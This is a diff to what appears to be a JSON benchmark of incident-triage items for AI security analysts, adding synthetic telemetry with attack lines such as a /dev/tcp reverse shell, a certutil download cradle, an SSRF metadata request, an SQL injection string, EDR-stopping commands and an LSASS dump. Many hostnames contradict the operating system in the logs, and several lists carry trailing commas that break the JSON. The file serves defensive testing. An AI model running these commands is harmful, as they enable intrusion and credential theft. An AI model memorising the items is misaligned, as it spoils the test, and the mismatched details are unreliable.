@@ -2485,14 +5095,37 @@
"SQL injection",
"SSRF",
"CVE-2024-1234",
- "LIN-EDGE-VPN02",
- "45.142.122.111"
+ "MAC-LEGAL-LAPTOP",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-LEGAL-LAPTOP/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-LEGAL-LAPTOP/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
]
},
{
"id": "INC-EVAL-113",
- "title": "Watering-hole exploit served from internal Confluence by 45.142.122.111",
- "description": "Internal Confluence page injected with malicious JavaScript by 45.142.122.111. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to APT28 TTPs.",
+ "template_id": "confluence-watering-hole",
+ "template_index": 2,
+ "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",
+ "description": "Internal Confluence page injected with malicious JavaScript by 185.220.101.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -2507,15 +5140,36 @@
"watering hole",
"drive-by",
"Confluence",
- "45.142.122.111",
- "APT28"
+ "185.220.101.7",
+ "MagicWeb"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "185.220.101.7",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "MagicWeb"
+ }
]
},
{
"id": "INC-EVAL-114",
- "title": "Supply-chain compromise: malicious npm package on WIN-HR-DESKTOP",
- "description": "CI pipeline on WIN-HR-DESKTOP installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 203.0.113.45. Build artefacts may be tainted.",
+ "template_id": "npm-supply-chain",
+ "template_index": 3,
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "description": "CI pipeline on WIN-DC-PRIMARY installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 192.168.1.100. Build artefacts may be tainted.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -2531,14 +5185,46 @@
"npm package",
"event-stream",
"post-install",
- "WIN-HR-DESKTOP",
- "203.0.113.45"
+ "WIN-DC-PRIMARY",
+ "192.168.1.100"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-DC-PRIMARY",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "ci-runner",
+ "dest_ip": "192.168.1.100",
+ "dest_port": 4444
+ }
]
},
{
"id": "INC-EVAL-115",
- "title": "Malicious USB autorun on air-gapped host GCP-GKE-NODE-04",
- "description": "USB device inserted on air-gapped GCP-GKE-NODE-04 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "template_id": "usb-autorun-airgap",
+ "template_index": 4,
+ "title": "Malicious USB autorun on air-gapped host WIN-PROD-WEB02",
+ "description": "USB device inserted on air-gapped WIN-PROD-WEB02 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
"expected_tactics": [
"TA0001",
"TA0009"
@@ -2553,15 +5239,40 @@
"USB",
"autorun",
"air-gapped",
- "GCP-GKE-NODE-04",
+ "WIN-PROD-WEB02",
"Python stager"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "WIN-PROD-WEB02",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
]
},
{
"id": "INC-EVAL-116",
- "title": "OAuth consent phishing targeting [email protected]",
- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.168.1.100.",
+ "template_id": "oauth-consent-phish",
+ "template_index": 5,
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -2576,15 +5287,42 @@
"OAuth consent",
"Mail.Read",
"Files.Read.All",
- "192.168.1.100",
+ "91.134.231.15",
"forwarding rule"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
]
},
{
"id": "INC-EVAL-117",
- "title": "Obfuscated PowerShell dropper executed on LIN-K8S-NODE01",
- "description": "PowerShell dropper executed on LIN-K8S-NODE01 by [email protected]; payload base64-encoded and decoded in-memory. Linked to Volt Typhoon ransomware staging.",
+ "template_id": "powershell-obfuscated-dropper",
+ "template_index": 6,
+ "title": "Obfuscated PowerShell dropper executed on WIN-HR-DESKTOP",
+ "description": "PowerShell dropper executed on WIN-HR-DESKTOP by [email protected]; payload base64-encoded and decoded in-memory. Linked to MosaicRegressor ransomware staging.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -2599,15 +5337,40 @@
"powershell",
"obfuscated",
"base64",
- "LIN-K8S-NODE01",
- "Volt Typhoon"
+ "WIN-HR-DESKTOP",
+ "MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "MosaicRegressor"
+ }
]
},
{
"id": "INC-EVAL-118",
- "title": "Living-off-the-land: certutil download cradle on AWS-EC2-PROD-API",
- "description": "certutil.exe -urlcache invoked from cmd.exe on AWS-EC2-PROD-API. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",
+ "template_id": "certutil-download-cradle",
+ "template_index": 7,
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 198.51.100.23.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -2622,15 +5385,40 @@
"certutil",
"urlcache",
"outlook.exe",
- "AWS-EC2-PROD-API",
- "91.134.231.15",
+ "WIN-PROD-WEB02",
+ "198.51.100.23",
"download cradle"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://198.51.100.23/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
]
},
{
"id": "INC-EVAL-119",
- "title": "Container runtime abuse: malicious `docker run` on WIN-EXCHANGE-01",
- "description": "Unauthenticated Docker API on WIN-EXCHANGE-01 exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "template_id": "docker-runtime-abuse",
+ "template_index": 8,
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%.",
"expected_tactics": [
"TA0002",
"TA0001",
@@ -2648,14 +5436,42 @@
"container",
"cryptominer",
"miner",
- "WIN-EXCHANGE-01",
+ "WIN-FILE-SHARE",
"185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-FILE-SHARE:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "185.220.101.7",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-FILE-SHARE",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-120",
- "title": "Malicious WMI subscription on LIN-DB-REPLICA",
- "description": "Permanent WMI event subscription created on LIN-DB-REPLICA by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "template_id": "wmi-event-subscription",
+ "template_index": 9,
+ "title": "Malicious WMI subscription on WIN-PROD-WEB02",
+ "description": "Permanent WMI event subscription created on WIN-PROD-WEB02 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
"expected_tactics": [
"TA0002",
"TA0003"
@@ -2670,15 +5486,41 @@
"WMI",
"subscription",
"permanent",
- "LIN-DB-REPLICA",
+ "WIN-PROD-WEB02",
"encoded script"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "WIN-PROD-WEB02",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
]
},
{
"id": "INC-EVAL-121",
- "title": "Registry Run key persistence created by [email protected] on WIN-DC-PRIMARY",
- "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on WIN-DC-PRIMARY. Points to roaming binary signed with revoked cert. Linked to APT28.",
+ "template_id": "registry-run-persistence",
+ "template_index": 10,
+ "title": "Registry Run key persistence created by [email protected] on K8S-PROD-CLUSTER",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on K8S-PROD-CLUSTER. Points to roaming binary signed with revoked cert. Linked to ALPHV/BlackCat.",
"expected_tactics": [
"TA0003"
],
@@ -2691,15 +5533,38 @@
"registry run",
"persistence",
"revoked cert",
- "WIN-DC-PRIMARY",
- "APT28"
+ "K8S-PROD-CLUSTER",
+ "ALPHV/BlackCat"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
]
},
{
"id": "INC-EVAL-122",
- "title": "Scheduled task persistence on GCP-GKE-NODE-04",
- "description": "Hidden scheduled task created on GCP-GKE-NODE-04 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "template_id": "scheduled-task-persistence",
+ "template_index": 11,
+ "title": "Scheduled task persistence on WIN-PROD-WEB02",
+ "description": "Hidden scheduled task created on WIN-PROD-WEB02 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
"expected_tactics": [
"TA0003"
],
@@ -2712,14 +5577,39 @@
"scheduled task",
"persistence",
"APPDATA",
- "GCP-GKE-NODE-04",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "WIN-PROD-WEB02",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-123",
- "title": "Firmware implant detected on UEFI partition of LIN-OBS-LOGGER",
- "description": "UEFI secure-boot violation on LIN-OBS-LOGGER. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "template_id": "uefi-firmware-implant",
+ "template_index": 12,
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "description": "UEFI secure-boot violation on WIN-PROD-WEB02. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
"expected_tactics": [
"TA0003",
"TA0005"
@@ -2735,14 +5625,34 @@
"firmware",
"implant",
"secure boot",
- "LIN-OBS-LOGGER",
+ "WIN-PROD-WEB02",
"MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-PROD-WEB02",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-PROD-WEB02",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
]
},
{
"id": "INC-EVAL-124",
- "title": "Backdoor cron job installed on MAC-CFO-LAPTOP",
- "description": "/etc/cron.d entry created by [email protected] on MAC-CFO-LAPTOP. Reverse shell beacon to 10.0.99.42 every 5 minutes.",
+ "template_id": "cron-backdoor",
+ "template_index": 13,
+ "title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",
+ "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 91.134.231.15 every 5 minutes.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -2757,15 +5667,35 @@
"cron",
"backdoor",
"reverse shell",
- "MAC-CFO-LAPTOP",
- "10.0.99.42"
+ "MAC-LEGAL-LAPTOP",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "MAC-LEGAL-LAPTOP",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)",
+ "hostname": "MAC-LEGAL-LAPTOP"
+ }
]
},
{
"id": "INC-EVAL-125",
- "title": "UAC bypass observed on WIN-FILE-SHARE",
- "description": "fodhelper.exe abuse on WIN-FILE-SHARE by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "template_id": "uac-bypass-fodhelper",
+ "template_index": 14,
+ "title": "UAC bypass observed on WIN-EXCHANGE-01",
+ "description": "fodhelper.exe abuse on WIN-EXCHANGE-01 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
"expected_tactics": [
"TA0004",
"TA0005"
@@ -2779,15 +5709,41 @@
"UAC",
"fodhelper",
"auto-elevation",
- "WIN-FILE-SHARE",
+ "WIN-EXCHANGE-01",
"SYSTEM"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-EXCHANGE-01",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
]
},
{
"id": "INC-EVAL-126",
- "title": "Container escape via privileged pod on LIN-K8S-NODE01",
- "description": "Kubernetes privileged pod created on LIN-K8S-NODE01 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "template_id": "k8s-privileged-pod-escape",
+ "template_index": 15,
+ "title": "Container escape via privileged pod on GCP-GKE-NODE-04",
+ "description": "Kubernetes privileged pod created on GCP-GKE-NODE-04 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
"expected_tactics": [
"TA0004",
"TA0007"
@@ -2803,14 +5759,58 @@
"privileged pod",
"container escape",
"cgroup",
- "LIN-K8S-NODE01",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "GCP-GKE-NODE-04"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "GCP-GKE-NODE-04",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-127",
- "title": "Linux SUID binary abuse on WIN-EXCHANGE-01",
- "description": "Custom SUID binary discovered in /tmp on WIN-EXCHANGE-01; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "template_id": "linux-suid-abuse",
+ "template_index": 16,
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DEVOPS-LT; allows arbitrary command execution as root. Likely escalation by [email protected].",
"expected_tactics": [
"TA0004"
],
@@ -2823,14 +5823,38 @@
"SUID",
"/tmp",
"root escalation",
- "WIN-EXCHANGE-01",
+ "WIN-DEVOPS-LT",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DEVOPS-LT",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DEVOPS-LT",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-128",
- "title": "Memory-only fileless implant in svchost on WIN-DC-SECONDARY",
- "description": "Process hollowing detected on WIN-DC-SECONDARY: svchost.exe replaced with Cobalt Strike beacon to 10.0.99.42. No disk artefacts. Linked to APT28.",
+ "template_id": "process-hollowing-svchost",
+ "template_index": 17,
+ "title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",
+ "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -2846,14 +5870,48 @@
"fileless",
"svchost",
"Cobalt Strike",
- "WIN-DC-SECONDARY",
- "10.0.99.42"
+ "GCP-GKE-NODE-04",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "GCP-GKE-NODE-04",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "GCP-GKE-NODE-04",
+ "threat_actor": "ALPHV/BlackCat"
+ }
]
},
{
"id": "INC-EVAL-129",
+ "template_id": "event-log-cleared",
+ "template_index": 18,
"title": "Indicator removal: Windows event log cleared on MAC-CFO-LAPTOP",
- "description": "Security event log cleared on MAC-CFO-LAPTOP by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "description": "Security event log cleared on MAC-CFO-LAPTOP by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
"expected_tactics": [
"TA0005"
],
@@ -2867,13 +5925,37 @@
"log cleared",
"indicator removal",
"MAC-CFO-LAPTOP",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "MAC-CFO-LAPTOP",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
]
},
{
"id": "INC-EVAL-130",
- "title": "Disable security tooling on LIN-OBS-LOGGER",
- "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on LIN-OBS-LOGGER. Tampering telemetry triggered alert.",
+ "template_id": "disable-edr-tooling",
+ "template_index": 19,
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on GCP-GKE-NODE-04. Tampering telemetry triggered alert.",
"expected_tactics": [
"TA0005"
],
@@ -2887,14 +5969,45 @@
"crowdstrike",
"sysmon",
"tampering",
- "LIN-OBS-LOGGER",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-131",
- "title": "LSASS memory dump on LIN-DB-REPLICA by [email protected]",
- "description": "comsvcs.dll MiniDump observed on LIN-DB-REPLICA. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "template_id": "lsass-memory-dump",
+ "template_index": 20,
+ "title": "LSASS memory dump on GCP-GKE-NODE-04 by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on GCP-GKE-NODE-04. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
"expected_tactics": [
"TA0006"
],
@@ -2908,14 +6021,40 @@
"minidump",
"comsvcs",
"mimikatz",
- "LIN-DB-REPLICA",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "GCP-GKE-NODE-04",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-132",
- "title": "Brute-force credential spray against [email protected] from 192.168.1.100",
- "description": "Credential spray from 192.168.1.100 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "template_id": "credential-spray",
+ "template_index": 21,
+ "title": "Brute-force credential spray against [email protected] from 91.134.231.15",
+ "description": "Credential spray from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
"expected_tactics": [
"TA0006"
],
@@ -2927,15 +6066,39 @@
"evidence_keywords": [
"brute force",
"credential spray",
- "192.168.1.100",
+ "91.134.231.15",
"azure ad"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
